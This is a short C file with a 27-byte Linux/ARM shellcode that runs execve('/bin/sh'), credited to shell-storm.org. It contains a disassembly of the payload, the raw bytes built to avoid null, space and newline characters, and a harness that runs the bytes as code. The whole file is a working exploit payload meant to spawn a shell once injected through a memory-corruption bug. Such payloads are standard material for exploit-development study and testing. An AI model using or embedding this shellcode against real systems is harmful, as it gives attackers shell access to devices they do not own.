/* Title: Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes Date: 2010-09-05 Tested on: ARM926EJ-S rev 5 (v5l) Author: Jonathan Salwan - twitter: @jonathansalwan shell-storm.org Shellcode ARM without 0x20, 0x0a and 0x00 Disassembly of section .text: 00008054 <_start>: 8054: e28f3001 add r3, pc, #1 ; 0x1 8058: e12fff13 bx r3 805c: 4678 mov r0, pc 805e: 3008 adds r0, #8 8060: 1a49 subs r1, r1, r1 8062: 1a92 subs r2, r2, r2 8064: 270b movs r7, #11 8066: df01 svc 1 8068: 622f str r7, [r5, #32] 806a: 6e69 ldr r1, [r5, #100] 806c: 732f strb r7, [r5, #12] 806e: 0068 lsls r0, r5, #1 */ #include <stdio.h> char SC[] = "\x01\x30\x8f\xe2" "\x13\xff\x2f\xe1" "\x78\x46\x08\x30" "\x49\x1a\x92\x1a" "\x0b\x27\x01\xdf" "\x2f\x62\x69\x6e" "\x2f\x73\x68"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0; }